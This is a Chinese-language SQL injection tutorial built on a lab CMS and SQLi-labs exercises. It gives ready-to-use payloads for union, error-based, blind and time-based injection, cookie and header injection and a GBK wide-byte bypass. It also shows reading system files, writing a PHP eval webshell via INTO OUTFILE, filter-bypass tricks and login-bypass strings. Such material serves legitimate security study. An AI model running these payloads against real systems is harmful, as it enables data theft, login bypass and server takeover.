一、 SQL注入简介
1.1 SQL简介
结构化查询语言 (Structured Query Language)是关系式数据库管理系统的标准语言(ANSI X3.135 - 1986),实际上不同数据库系统之间的SQL不能完全相互通用。
关系型数据库
特点:明显的层次结构, 库名|表名|字段名|字段内容
例子:mysql、access、 Mssql、orcale
1.2 sql注入
一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。
攻击者通过向【用户可控参数】中注入SQL语法,【破坏原有SQL结构】达到编写程序时意料之外结果的攻击行为。
- 漏洞原理:
1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。
1.3 注入点可能存在的位置
Web应用在获取用户数据的地方,只要带入数据库查询,都有存在SQL注入的可能,这些地方通常包括:
1)@GET数据
2)@POST数据
3)@Cookie数据
4)@HTTP 头部(HTTP 请求报文其他字段)
GPC是最常用的三种提交数据的方法。
1.4 SQL注入漏洞的危害
1)增删改查:操作数据库数据。
2)脱库:获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)
3)提权:如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接写入webshell或者获取服务器系统权限。例如:mof提权|udf提权
1.5 SQL注入分类
⚠️:数据库中三种数据类型数字、文本、时间。
1.5.1 从数据类型的角度分类
数字型:数字型注入就是说注入点的数据,拼接到SQL语句中是以数字型出现的,即数据两边没有被单引号、双引号包括。
字符型:字符型注入正好相反。
1.5.2 从注入手法的角度分类
1)联合查询:UNION query SQL injection (可联合查询注入)
2)布尔盲注:Boolean-based blind SQL injection (布尔型注入)
3)延时注入:Time-based blind SQL inj ection (基于时间延迟注入)
4)报错注入:Error-based SQL injection (报错型注入)
5)堆叠查询:Stacked queries SQL injection (可多语句查询注入)
1.5.3 从注入的位置角度分类
GET注入
POST注入
Cookie注入
HTTP其他头字段注入
【留言板注入
搜索框注入
…】
二、Mysql基础知识
2.1 mysql注释
# 【HTTP头部注入】
-- 【--空格、--+ URL注入、如果在URL注入中使用#,要将其编码为%23】
/*...*/
/*!...*/ 【内联查询】
2.2 元数据
库名、表名、字段名等信息
2.3 mysql元数据数据库(information_schema)
2.3.1 information_schema的信息
表所属库的信息?tables-table_schema
字段所属的表名?columns-table_name
字段所属的库名?columns-table_schema
所有的表名?tables-table_name
所有的字段名?columns-column_name
EX:实验操作
5.5.4 Mysql 常用函数与参数
常用函数列表:
=|>|>=|<=|<> | 比较运算符 |
---|---|
and|or | 逻辑运算符 ⚠️:true 1 false 0,比较运算符和逻辑运算符的结果是 1和0. |
version() | mysql 数据库版本 |
database() | 当前数据库名 |
user() | 用户名 |
current_user() | 当前用户名 |
system_user() | 系统用户名 |
@@datadir | 数据库路径 |
@@versoin_compile_os | 操作系统版本 |
length() | 返回字符串的长度 |
substring() | 截取字符串 |
substr() | 1. 截取的字符串 2. 截取起始位置,从1开始计数 3. 截取长度 |
mid() | |
left() | 从左侧开始取指定字符个数的字符串 |
concat() | 没有分隔符的连接字符串 |
concat_ws() | 含有分割符的连接字符串 |
group_concat() | 连接一个组的字符串 |
ord() | 返回ASCII 码 |
ascii() | 返回ASCII 码 |
hex() | 将字符串转换为十六进制 |
unhex() | hex 的反向操作 |
md5() | 返回MD5 值 |
floor(x) | 返回不大于x 的最大整数 |
round() | 返回参数x 接近的整数 |
rand() | 返回0-1 之间的随机浮点数 |
load_file() | 读取文件,并返回文件内容作为一个字符串 |
sleep() | 睡眠时间为指定的秒数 |
if(true,t,f) | if 判断 |
find_in_set() | 返回字符串在字符串列表中的位置 |
benchmark() | 指定语句执行的次数 |
name_const() | 返回表作为结果 |
三、注入点的判断
3.1 以CMS站点为例
(win2008-cms站点 -注入点判断)
为了演示SQL注入的四大基本手法,我们以CMS为例。 [http: //ip/cms/]
- 环境:
环境-win2008-cms站点
攻击者:win10 ICS 工具:【御剑-后台扫描】
- 目标:
通过SQL注入漏洞获得后台管理员帐密并成功登录系统。
后台地址[http://172.16.132.138/cms/admin/]
四大基本手法可行性判断
- 联合查询
- 报错注入
- 布尔盲注
- 延时注入
对链接 [http:/ /172.16.132.138/ cms/show. php?id=33]是否是注入点进行判断。
3.2 数据库回显
当我们变换id参数(33+1|33-1) 的时候,发现同一个页面,show. php页面展现出不同的新闻内容。也就是说,数据库中的内容会回显到网页中来。初步判定,id参数会带入数据库查询,根据不同的id查询数据库,得到不同的新闻内容。猜测后台执行的SQL语句大致结构为:
select * from dbName where id=33;
3.3 判断数字型还是字符型、是否可以进行报错注入
单引号
[?id=33’]
执行的SQL主语则变为
select * from tbName where id=33’ ;
页面报错,并且报错信息会回显在网页中,报错信息如下
You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near ‘ ‘ ‘ at line 1
错误信息提示单引号位置出现错误,那么说明,SQL语句从头到参数33都是正确的。也就是说,我们添加的单引号是多余的。因此,可以断定参数33前面没有引号。则,此注入点(可能)为数字型注入。
数字型?字符型?
注意报错信息的原理:从第一个字符开始往后读,读到语法错误然后报错。上述报错信息说明,’”‘之前都是正确的。’’是报错信息的单引号。规律:报错信息不出现数字-数字型、报错信息出现数字-字符型。
3.4 判断布尔状态是否存在
- [and 1=1]
[?id=33 and 1=1 – +]
可能得SQL语句为
select * from tbName where id=33 and 1=1 –+
页面正常。存在延时状态是否存在
- [and 1=2]
[?id=33 and 1=2 – -+]
可能得SQL语句
select * from dbName where id=33 and 1=2 –+
页面没有新闻内容,并且数据库没有报错。由于1=2是恒假式,也就是查询条件
[where id=33 and 1=2 –+]恒假,这样的SQL语句在数据库中执行后,没有返回结果,没有新闻内容。
反过来看,页面没有新闻内容,也就是SQL语句查询条件为假。也就是说,我们写的语句
[and 1=2 –+], 起到了将查询条件置为假的作用。
那么,可以通过构造语句来控制SQL语句的查询结果并且,SQL语句查询条件真假性,在页面回显中有体现。
3.5 存在延时状态是否存在
- [and sleep(5) ]
[?id=33 and sleep(5)]
注入sleep(5)语句,可以通过网络时间线看到延时。
说明sleep(5)语句起到了作用。
综上,此连接存在SQL注入漏洞。
EX: CMS站点SQL注入漏洞存在性和注入点判断
3.6 总结
再赘述一遍。
四、联合查询注入
4.1 概述
由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。 联合查询就是SQL语法中的union select 语句。 该语句会同时执行两条select语句,生成两张虚拟表,然后把查询到的结果进行拼接。 select ~~~ union select~~~ 由于虚拟表是二维结构,联合查询会”纵向”拼接,两张虚拟的表。
联合查询的强大之处:【可以跨库跨表查询】。
4.2 必要条件
两张虚拟的表具有相同的列数
虚拟表对应的列的数据类型相同
4.3 判断字段个数
4.3.1 order by
- 方法原理
可以使用[order by]语句来判断当前select语句所查询的虚拟表的列数。 [order by]语句本意是按照某一列进行排序, 在mysql中可以使用数字来代替具体的列名,比如[order by 1] 就是按照第一列进行排序, 如果mysql没有找到对应的列,就会报错[Unknown co Lumn]。我们可以依次增加数字,直到数据库报错。
- 案例:
4.3.2 union select
union select null,null,—,null–+
http://192.168.33.4/cms/show.php?id=35 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--+
http://192.168.33.4/cms/show.php?id=35 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+
- 案例
- 使用hackbar插件
4.4 判断数据显示位置
得到字段个数之后,可以尝试构造联合查询语句。
这里我们并不知道表名,根据mysql数据库特性,select语句在执行的过程中,并不需要指定表名。
[?id=33 union select 1,2,3,4,5,6,7,8,9,10,11, 12,13,14,15–+]
[?id=33 union select null, null, null, null, null, null, null, null, null, null, null, null, null, null,null–+]
页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL语句:
[?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9, 10,11, 12,13,14,15 –+]
[?id=-33 union select 1,2,3,4,5,6, 7,8,9,10, 11,12,13,14,15 –+]
- 案例
4.6 数据库名和数据库版本信息获取
version()函数获取版本信息。
4.7 获取目标数据库数据表名
4.7.1 暴力破解的思路
- 案例
4.7.2 利用information_schema数据库获取
- 获取思路
- 获取关于目标数据库的所有表名
4.8 获取目标数据表字段名
http://192.168.33.4/cms/show.php?id=-35 union select 1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name=cms_users--+ 为了避免单引号的使用,将cms_users转化成十六进制形式。
- 案例
4.8 获取字段的值
4.9 解密hash值
4.10 登录后台
五、报错注入
在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此可以进行报错注入。
报错注入的原理,就是在错误信息中执行SQL语句。触发报错的方式很多,具体细节也不尽相同。此处建议直接背公式即可。
5.1 group by重复键冲突
group by 是mysql天生的缺陷,成功率高。
group by和聚合函数的理解
看下表1,表名为test:
![]()
执行如下SQL语句:
SELECT name FROM test GROUP BY name
表2:
![]()
由表1到表2的过程中,增加一个虚构的中间表:虚拟表3。
![]()
接下来就要针对虚拟表3执行Select语句了:
(1)如果执行select *的话,那么返回的结果应该是虚拟表3,可是id和number中有的单元格里面的内容是多个值的,而关系数据库就是基于关系的,单元格中是不允许有多个值的,所以你看,执行select * 语句就报错了。
(2)我们再看name列,每个单元格只有一个数据,所以我们select name的话,就没有问题了。为什么name列每个单元格只有一个值呢,因为我们就是用name列来group by的。
(3)那么对于id和number里面的单元格有多个数据的情况怎么办呢?答案就是用聚合函数,聚合函数就用来输入多个数据,输出一个数据的。如cout(id),sum(number),而每个聚合函数的输入就是每一个多数据的单元格。
(4)例如我们执行select name,sum(number) from test group by name,那么sum就对虚拟表3的number列的每个单元格进行sum操作,例如对name为aa的那一行的number列执行sum操作,即2+3,返回5,最后执行结果如下:
![]()
(5)group by 多个字段该怎么理解呢:如group by name,number,我们可以把name和number 看成一个整体字段,以他们整体来进行分组的。如下图
![]()
(6)接下来就可以配合select和聚合函数进行操作了。如执行select name,sum(id) from test group by name,number,结果如下图:
![]()
5.1.1 Payload1
?id=33 and (select 1 from (select count(*) , concat( (select version() from
information_schema.tables limit 0,1) , floor( rand( )*2))x from information_schema.tables
group by x)a) --+
EX:group by重复键冲突报错注入
http://192.168.33.4/cms/show.php ?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1), floor(rand( )*2))x from information_schema.tables group by x)a) --+
![]()
Duplicate entry '5.5.530' for key 'group_key'
成功在报错信息中获得版本信息。
尝试获得数据库名信息:
http://192.168.33.4/cms/show.php ?id=33 and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1), floor(rand( )*2))x from information_schema.tables group by x)a) --+
不稳定,需要多次执行。
利用其他的sql语句:
http://192.168.33.4/cms/show.php ?id=33 and (select 1 from (select count(*),concat((语句写在这里), floor(rand( )*2))x from information_schema.tables group by x)a) --+
5.1.2 简化版本
?id=33 union select 1, 2, concat(left (rand() ,3) , '^' , (select version() ) , '^' )a, count(*) ,5, 6, 7,8,9,10, 11, 12, 13, 14,15 from information_ schema.tables group by a --+
EX:group by重复键冲突报错注入
- 获取数据库版本和数据库名:
http://192.168.33.4/cms/show.php ?id=33 union select 1, 2, concat (left (rand() ,3) , '|' , (select version() ) , '|' )a, count(*) ,5, 6, 7,8,9,10, 11, 12, 13, 14,15 from information_schema.tables group by a --+
![]()
http://192.168.33.4/cms/show.php ?id=99 union select 1,2, concat (left (rand() ,3) , '|' , (select version() ) , '|' )a,count(*),5,6,7,8,9,10,11,12,13,14,15--+
![]()
http://192.168.33.4/cms/show.php ?id=99%20union%20select%201,2, concat (left (rand() ,3) , '|' , (select database() ) , '|' )a,count(*),5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables group by a--+
![]()
http://192.168.33.4/cms/show.php ?id=99%20union%20select%201,2, concat (left (rand() ,3) , '|' , (select group_concat(table_name) from information_schema.tables where table_schema=database() ) , '|' )a,count(*),5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables group by a--+
Illegal mix of collations for operation 'UNION'
将group_concat(table_name) ——> hex(group_concat(table_name) )
http://192.168.33.4/cms/show.php ?id=99%20union%20select%201,2, concat (left (rand() ,3) , '|' , (select hex(group_concat(table_name) ) from information_schema.tables where table_schema=database() ) , '|' )a,count(*),5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables group by a--+
![]()
![]()
5.1.3 其他payload
5.2 XPATH报错注入
低版本比如5.0以下,可能不支持XPAHT报错。
5.2.1 extractvalue( )
?id=33 and extractvalue(1, concat('^', (select version()), '^')) --+
获得数据库版本号。
5.2.2 updatexml( )
?id=33 and updatexml(1, concat( '^', (select database()), '^'),1) --+
获取数据库名和路径。
拓展小结
数据类型溢出
XPATH报错:extractvalue()、updatexml()
主键重复
列名重复
几何函数缺少参数
六、布尔盲注
6.1 原理
利用页面返回的布尔类型状态,正常或者不正常。
如果是数字型:
and 1=1 正常显示
and 1=2 不正常显示
6.2 数据库名爆破思路 (成本有点高)
and database()=字典项
错误猜测:不正常显示
正确猜测:正常显示
6.3 数据库名长度猜测
异常
利用二分查找。
数据库名长度为3。
6.4 逐字母猜测数据库名
http://192.168.33.4/cms/show.php?id=33 and substr(database(),1,1)='c'
猜对的情况:
猜错的情况:
也可以转化为ascii码,利用比较大小的方法,二分查找确定每一位的字母。
http://192.168.33.4/cms/show.php?id=33 and ascii(substr(database(),1,1))<100
98,99两个之间,其他字母逐个比较。
七、延时注入
可能会受网络环境的影响。
7.1 原理
利用sleep( )语句的延时性,以时间线作为判断条件。
7.2 获取数据库名
- 获取数据库名长度
?id=33 and if(length(database()=3) ,sleep(5),1)--+
http://192.168.33.4/cms/show.php??id=33 and if(length(database())<10,sleep(5),1) --+
http://192.168.33.4/cms/show.php?id=33 and if(length(database())=2,sleep(5),1)
猜对了则会产生延时,猜错了没有延时。之后,类比于布尔盲注的方式,可以获得想要的信息。
布尔盲注和延时注入都属于盲注,过程具有强烈的规律性,可以用python脚本实现自动化的布尔盲注和延时注入。
八、利用SQL注入漏洞读写文件
8.1 前提条件
我们可以利用SQL注入漏洞读写文件。但是读写文件需要一定的条件。
8.1.1 条件一:secure-file-priv值为空
- 参数介绍
可以在phpmyadmin中看到该变量:
该参数在高版本的mysql数据库中限制了文件的导入导出操作。该参数可以写在my.ini配置文件中[mysqld]下。若要配置此参数,需要修改my.ini配置文件,并重启mysql服务。
- 关于该参数值的相关说明
secure-file-priv 参数配置 | 含义 |
---|---|
secure-file-priv= | 不对mysq ld的导入导出操作做限制 |
secure-file-priv=’c:/a/ ‘ | 限制mysqld的导入导出操作发生在C:/a/下 (子目录有效) |
secure-file-priv=null | 限制mysqld不允许导入导出操作 |
默认情况下,配置文件里面没有配置这个参数,默认值为null。
- 配置参数
1)找到配置文件:
C:\phpstudy\MySQL\my.ini:
2)将参数配置在mysqld下:
3)重启WAMP。
该变量的值为空,意味着可以进行导入导出操作。
8.1.2 条件二:当前用户具有文件权限
查询语句:
select File_priv from mysql.user where user="root" and host="localhost"
判断当前root用户是否具有文件操作权限。
8.1.3 条件三:知道要写入目标文件的绝对路径
显然,只有知道要写入目标文件的绝对路径才能写入。
8.2 读取文件操作
SQL注入漏洞确认:
利用注入漏洞读取文件:
?id=-1 union select 1,load_file( 'C:\\Windows\\System32\\drivers\\etc\\hosts'), 3--+
load_file('')的路径可以是:
C:\\Windowsl\\System32\\drivers\\etc\\hosts
或
C:/Windows/System32/drivers/etc/hosts
8.3 写入文件操作
- payload示例
?id=1' and 1=2 union select 1,'<?php @eval($_REQUEST[777]); ?>',3 into outfile 'c:\\phpstudy\\www\\1.php'--+
页面如果不报错说明写入成功,报错也不一定就没写入成功。
直接访问写入的文件http://ip/1.php
- 实验测试:
执行完第一次会报一个错误,再执行一次提示文件已存在。
九、宽字节注入
宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。为了说明宽字节注入问题,我们以SQLi-labs 32关为例子。
9.1 SQLi-labs-less32
使用?id=1'
进行测试的时候,发现提交的单引号会被转译 \'
。此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL语句的结构。
- 回显测试:✅
?id=1
?id=2
- 判断数字型还是字符型:
单引号被转为2\'
。
双引号也被转译了。
特殊字符均被转译。
$string = preg_replace('/'.preg_quote('\\').'/'.$, "\\\\\\\\", $string);
转译单双引号。- `preg_quote('\\')`:这个函数会转义正则表达式中的特殊字符,这里转义的是反斜杠`\`。 - `/'.preg_quote('\\').'/'.$`:构建一个正则表达式,匹配一个反斜杠。 - `"\\\\\\\\"`:这是替换字符串,它将每个反斜杠替换为两个反斜杠(在正则表达式中,一个反斜杠需要被转义为两个反斜杠)。 - `$string`:这是要处理的原始字符串。 2. ```php $string = preg_replace('/\/i', '\\\'', $string); $string = preg_replace('/\"/', "\\\\\"", $string);
想法:让转译失效。
阅读32关的源码,发现几句非常意思的代码,如下。
此网页在连接数据库时,会将字符编码设置为GBK编码集合,然后进行SQL语句拼接,最后进行数据库查询。
GBK编码:
GBK编码采用双字节编码方案,其编码范围: 8140- FEFE, 剔除xx7F码位,共23940个码位共收录汉字和图形符号21886个,其中汉字(包括部首和构件) 21003个,图形符号883个。 GBK编码支持国际标准ISO/ IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。
转译字符
\
的编码是5c
, 正好在GBK编码范围之内 ,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c组成一个GBK编码的汉字。这样SQL语句传入数据库的时候,转译字符5c,会被看作GBK汉字的低位字节编码,从而失去转译的作用。如果我们提交这样的参数
?id=1000%df' union select 1,2,3 --+
,就可以使用联合查询进行注入了。
0xdf5c 是一个汉字。
0x815c✅
0x805c,不可以,不在范围内。
用法:
![]()
尝试吞掉转译字符:
原始语句:select * from users where id='$id' LIMIT 0,1
提交的参数:1 %df'
经过转译的参数(%df经过url解码实际上就是一个字节——0xdf):1 df\'
经过GBK编码识别:1 df\'=1 (某个双字节汉字)'
转译符号被吸收掉了:select * from users where id='1 (某个双字节汉字)'' LIMIT 0,1
多了个单引号所以语句会报错。按照经验报错信息出现了数字=>字符型注入。
转译字符失效,”‘“破坏了原来的语句结构,所以报错,根据错误确定,属于字符型注入。
添加注释,去掉原来语句中的'
,正常显示。
select * from users where id='1 (某个双字节汉字)' --+ ' LIMIT 0,1
9.2 联合查询注入
迫使转译失效以后可以进行联合查询。
- 确定字段个数:
判断列数。
字段个数为3。
- 判断显示位置:
- 获取数据库信息:
十、Cookie注入
我们使用SQLi-labs第20关来说明Cookie注入问题。
Cookie注入的注入参数需要通过Cookie提交,可以通过[document.cookie ]在控制台完成对浏览器Cookie的读写。
来到less-20,在控制台输入
document.cookie="uname=Dumb' and extractvalue(1, concat(0x7e, database() , 0x7e) )#"
刷新页面即可。
用BP进行cookie注入:
⚠️:+是在url中对空格的变换,在HTTP请求中用#或–空格 来表示数据库注释。
用BP抓取:1)提交POST请求之前刷新浏览器的包,2)提交登录名和密码之后再刷新浏览器的包。
两个包都传到repeater模块和compare模块中。
对比两者,发现cookie信息。
利用重放模块做cookie注入漏洞判断:
出现mysql的报错信息,确定是字符型注入,且是单引号。
利用报错注入:
updatexml(1, concat( '^', (select database()), '^'),1)
成功得到数据库名。
十一、Base64注入
我们以SQLI-labs第22关来说明base64 注入的问题。
base64注入也是比较简单的,只不过将注入字段经过base64编码。经过测试,发现22关属于Cookie型的base64注入。
我们可以使用报错注入手法,payload
document.cookie="uname=Dumb" and extractvalue(1, concat( 0x7e, database() , 0x7e))#"
在控制台输入
document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx 1ZSgxLGNv bmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIW== "
刷新网页即可。
第22关由于php.ini时区配置问题报错
![]()
纠错:
![]()
重启PHPstudy。
![]()
时间报错消失。
用BP实验SQLI-labs-less22
1、用Dumb Dumb登入第22关。
![]()
![]()
观察COOKIE字段值,**RHVtYg==**,貌似是base64编码。
2、抓包分析
在当前页面刷新,抓包,发送到repeater模块。
![]()
3、编解码分析
base64解码,是Dumb,所以cookie字段的值是 Dumb的base64编码。
![]()
4、注入漏洞探测
Dumb' RHVtYic= 探测——>
![]()
没有报错。
Dumb" RHVtYiI=探测——>
![]()
报错——>字符型注入、双引号闭合。
5、利用报错注入
Dumb" and updatexml(1,concat(0x5e,version(),0x5e),1)# RHVtYiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDVlLHZlcnNpb24oKSwweDVlKSwxKSM=
![]()
成功获取数据库版本信息。
十二、HTTP头部注入
http头部注入就是指注入字段在HTTP头部的字段中,这些字段通常有User-Agent、Referer等。
12.1 User-Agent 注入
如SQLi-labs第18关。
payload:
User-Agent : hacker' and updatexml(1, concat (0x7e, database() ,0x7e) ,1) and '1'='1
12.2 Referer注入
Soli-labs第19关,注入字段在Referer中:
hacker' and updatexml(1, concat( 0x7e, database() , 0x7e) ,1) and '1'='1
思路同Agent注入。
Referer: sxk' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1
十三、基于约束的SQL攻击
13.1 概述
改漏洞是由于sql中insert 和 select 对长度和空格的处理方式差异造成的。
13.2 背景分析
注册页面的逻辑:
1.用select * from table where username=’$username’
检测你输入的用户名,如果存在,说明你注册过,那么不让你注册。
2.如果用户名不存在,用 insert into table values(‘$username’,’$password’)
把你输入的用户名密码插入数据库。
13.3 漏洞分析
- select 语句对于参数后面空格的处理是删除:
假设最大长度限制为25 我们输入用户名为 admin[20个空格]1
,密码随意。脚本查询的时候因为用了select 语句,空格被删除,剩下了admin1。
- insert只是截取最大长度的字符串,然后插入数据库。
假设数据库里面只有一个admin,所以select语句查不到admin1,因此重新注册为新用户,但是注册的时候用的是insert语句,他不会删除空格,只是截取最大长度的字符串,也就是admin[20个空格],和自己设的密码插入到数据库,作为新的用户。
- 漏洞结果
这时候如果我们用admin 去查找,用select语句,就会返回两条记录,一条是真正的admin另一条是我们绕过用户名检测假的admin(数据库里面的空格也在查询的时候被删除了再比较),这时我们可以【用admin和自己设的密码就可以登陆】了。
13.4 演示
13.4.1 数据空中的真正的用户(我们要绕过的用户)
13.4.2 使用select语句查询时空格被删除
13.4.3 insert 连空格一起插入
13.4.4 模拟用假密码登陆真用户
13.5 总结
这种绕过方式利用的是select 和 insert 的差异性,其实差异性也是漏洞的根本成因之一,要多多留心。
小结
1)常用语句
查询所有数据库
group_concat(schema_name) from information_schema.schemata
查看当前数据库表名
group_concat(table_name) from information_schema.tables where table_schema=database()
查看其他数据库表名
group_concat(table_name) from information_schema.tables where table_schema='数据库名'
查询当前数据库下的 users 表的列名
group_concat(column_name) from information_schema.columns where table_name='users'
查询其他数据库下表的列名
group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名';
查询当前库下的字段值
group_concat(id,username,password) from users
查询其他库下的字段值
group_concat(字段名) from 数据库名.表名
2)写马
写马条件:
1.secure_file_priv="" #在my.ini中,值为空时可写入任何文件,值为NULL是无法写入任何文件,值为某个路径时候只能往该路径写入
查询:show variables like %secure%
设置:set global secure_file_priv="";(5.6以下可以,以上要到my.ini文件中手动修改)
2.当前数据库用户有读写文件的权限
3.知道文件的绝对路径。
写法:
UNION SELECT 1,2,3,4,5,6,7,8,9,10,"<?php @eval($_REQUEST['a']);?>",12,13 into outfile "/var/www/html/aaa.php"
3)SQL注入绕过
- 空格绕过:
使用 /**/绕过过滤空格。
id=1'/**/AND/**/1=1#
括号或||绕过
id=(sleep(ascii(mid(user()from(2)for(1)))=109))
1'||updatexml(1,concat(0x7e,version()),1)||'1'='1
特殊字符代替
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
- 注释绕过
--空格
--空格a
#
/**/
- 闭合绕过
id=1' and '1
- 永真绕过
sleep(n)=0
4)万能密码
' or '1'='1
' or 1=1 #
1'||'1
1'||1#
'='
'-'
总结
本文主要较为全面的讲解web安全领域的sql注入攻击,SQL注入攻击是一种常见的网络攻击手段,攻击者通过在Web应用程序的输入字段中插入恶意SQL代码,试图欺骗服务器执行非授权的数据库命令,从而获取、修改或删除数据库中的数据。这种攻击利用了应用程序对用户输入验证不足的漏洞,可能导致严重的数据泄露或系统损坏。